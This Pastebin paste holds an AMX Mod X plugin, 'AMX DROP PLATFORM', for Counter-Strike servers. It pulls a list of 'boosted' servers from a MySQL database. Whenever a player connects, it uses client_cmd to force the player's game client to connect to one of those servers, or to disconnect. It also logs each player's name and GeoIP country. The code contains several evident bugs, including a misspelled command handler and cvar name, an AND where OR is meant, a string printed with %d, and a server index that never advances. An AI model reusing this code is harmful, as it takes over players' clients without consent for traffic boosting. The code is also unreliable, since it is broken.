Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.58 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <sqlx>
  4. #include <geoip>
  5.  
  6. new const PLUGIN[] = "AMX DROP PLATFORM"
  7. new const VERSION[] = "2.0"
  8. new const AUTHOR[] = "dK^aLeX"
  9.  
  10. new Handle:i_SQLTuple
  11. new iServers = 0, iServer = 0, iDrops = 0
  12. new const cfg[] = "amx_drop_cvars.cfg"
  13.  
  14. new cvar_host, cvar_db, cvar_user, cvar_pass, cvar_country
  15.  
  16. #define BOOSTED_SERVERS 10
  17.  
  18. new ServerList[BOOSTED_SERVERS][32];
  19.  
  20. #define TASK_TIME 1.0 * 60
  21. #pragma semicolon 1
  22. #define LOG "drop_pltf_ult.log"
  23.  
  24.  
  25. public plugin_init()
  26. {
  27. register_plugin(PLUGIN, VERSION, AUTHOR);
  28.  
  29. cvar_db = register_cvar("amx_drop_db", "");
  30. cvar_user = register_cvar("amx_drop_user", "");
  31. cvar_pass = register_cvar("amx_drop_pass", "");
  32. cvar_host = register_cvar("amx_dop_host", "");
  33. cvar_country = register_cvar("amx_drop_sc_on_con", "1");
  34.  
  35. new cvar_string_1[20], cvar_string_2[20];
  36. new cvar_string_3[20], cvar_string_4[20];
  37.  
  38.  
  39. get_pcvar_string(cvar_db, cvar_string_1, charsmax(cvar_string_1));
  40. get_pcvar_string(cvar_host, cvar_string_2, charsmax(cvar_string_2));
  41. get_pcvar_string(cvar_pass, cvar_string_3, charsmax(cvar_string_3));
  42. get_pcvar_string(cvar_user, cvar_string_4, charsmax(cvar_string_4));
  43.  
  44. i_SQLTuple = SQL_MakeDbTuple(cvar_string_2, cvar_string_4, cvar_string_3, cvar_string_1, 10);
  45.  
  46. set_task(TASK_TIME, "RefreshList", .flags="b");
  47.  
  48. register_concmd("_boosted", "ShowBoostedServers");
  49. }
  50.  
  51. public plugin_cfg()
  52. {
  53. if(!file_exists(cfg))
  54. {
  55. server_print("==================================");
  56. server_print("[AMXX] Fisierul %s nu exista!", cfg);
  57. server_print("==================================");
  58. }
  59.  
  60. new dir[64];
  61. get_configsdir(dir, charsmax(dir));
  62. server_cmd("exec %s/%s", dir, cfg);
  63.  
  64. InitSQL();
  65. }
  66.  
  67. public ShowBostedServers(id)
  68. {
  69. for(new i = 0, n = 0; i < BOOSTED_SERVERS; i++)
  70. {
  71. if(strlen(ServerList[i]) > 0)
  72. {
  73. server_print("[AMXX] NAME | IP");
  74. server_print("%d | %s", n + 1, ServerList[i]);
  75. n++;
  76. }
  77. }
  78.  
  79. return PLUGIN_HANDLED;
  80. }
  81. public InitSQL()
  82. {
  83. static SQL[512];
  84. formatex(SQL, charsmax(SQL), "SELECT `address` FROM `servers` ORDER BY `id` DESC LIMIT %d", BOOSTED_SERVERS);
  85. SQL_ThreadQuery(i_SQLTuple, "SQLInit", SQL);
  86. }
  87.  
  88. public SQLInit(FailState, Handle:Query, szError[], Errcode)
  89. {
  90. if(iServers)
  91. {
  92. iServers = 0;
  93. }
  94.  
  95. static Data[32];
  96. get_time("%d/%m/%y - %H:%M:%S", Data, 31);
  97. server_print("[%d] Getting Server List.", Data);
  98.  
  99. QueryStatus(FailState, szError, Errcode);
  100.  
  101. new i = 0;
  102. new Server[32];
  103.  
  104. while(SQL_MoreResults(Query))
  105. {
  106. if(i >= BOOSTED_SERVERS)
  107. {
  108. break;
  109. }
  110.  
  111. SQL_ReadResult(Query, 0, Server, 31);
  112. formatex(ServerList[i], 31, "%s", Server);
  113. i++;
  114. iServers++;
  115. }
  116.  
  117. SQL_FreeHandle(Query);
  118. }
  119.  
  120. public client_connect(id)
  121. {
  122. if(is_user_bot(id) && is_user_hltv(id))
  123. {
  124. new Name[32], Ip[32];
  125.  
  126. get_user_name(id, Name, charsmax(Name));
  127. get_user_ip(id, Ip, charsmax(Ip));
  128.  
  129. server_print("[AMXX] Clientul %s [IP: %s] este BOT!", Name, Ip);
  130. server_print("[AMXX] Kick in process....");
  131.  
  132. server_cmd("kick %s", Ip);
  133. }
  134.  
  135. if(get_pcvar_num(cvar_country) == 1)
  136. {
  137. new iName[32];
  138. new sIp[16];
  139. new Country[32];
  140. new Time[32];
  141.  
  142. get_user_name(id, iName, charsmax(iName));
  143. get_user_ip(id, sIp, charsmax(sIp), 1);
  144. geoip_country(sIp, Country, charsmax(Country));
  145. get_time("%d/%m/%y - %H:%M:%S", Time, 31);
  146.  
  147. server_print("[%s] Name: %s | Country: %s", Time, iName, Country);
  148. }
  149.  
  150.  
  151. RedirectUsers(id);
  152.  
  153. return PLUGIN_HANDLED;
  154. }
  155.  
  156. public client_putinserver(id)
  157. {
  158. if(is_user_bot(id) && is_user_hltv(id))
  159. {
  160. new Name[32], Ip[32];
  161.  
  162. get_user_name(id, Name, charsmax(Name));
  163. get_user_ip(id, Ip, charsmax(Ip));
  164.  
  165. server_print("[AMXX] Clientul %s [IP: %s] este BOT!", Name, Ip);
  166. server_print("[AMXX] Kick in progress..");
  167.  
  168. server_cmd("kick %s", Ip);
  169. }
  170.  
  171. set_task(3.0, "RedirectUsers", id);
  172. return PLUGIN_CONTINUE;
  173. }
  174.  
  175. public RedirectUsers(id)
  176. {
  177. if(is_user_bot(id) && is_user_hltv(id))
  178. {
  179. server_cmd("kick %#d", id);
  180. }
  181.  
  182. iDrops++;
  183.  
  184. new sv[32], nume[32];
  185.  
  186. formatex(sv, 31, "%s", ServerList[iServer]);
  187. get_user_name(id, nume, charsmax(nume));
  188.  
  189. if(strlen(sv) == 0)
  190. {
  191. client_cmd(id, "wait;wait;wait;wait; disconnect");
  192. return PLUGIN_HANDLED;
  193. }
  194.  
  195. client_cmd(id, "wait;wait;wait;wait; Connect %s", sv);
  196.  
  197. return PLUGIN_HANDLED;
  198. }
  199.  
  200. public QueryStatus(FailState, szError[], Errcode)
  201. {
  202. if(FailState == TQUERY_CONNECT_FAILED)
  203. {
  204. write_file(LOG, "[AMXX] Can't connect to MySQL!");
  205. }
  206.  
  207. if(FailState == TQUERY_QUERY_FAILED)
  208. {
  209. write_file(LOG, "[AMXX] Quey Error!");
  210. }
  211. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement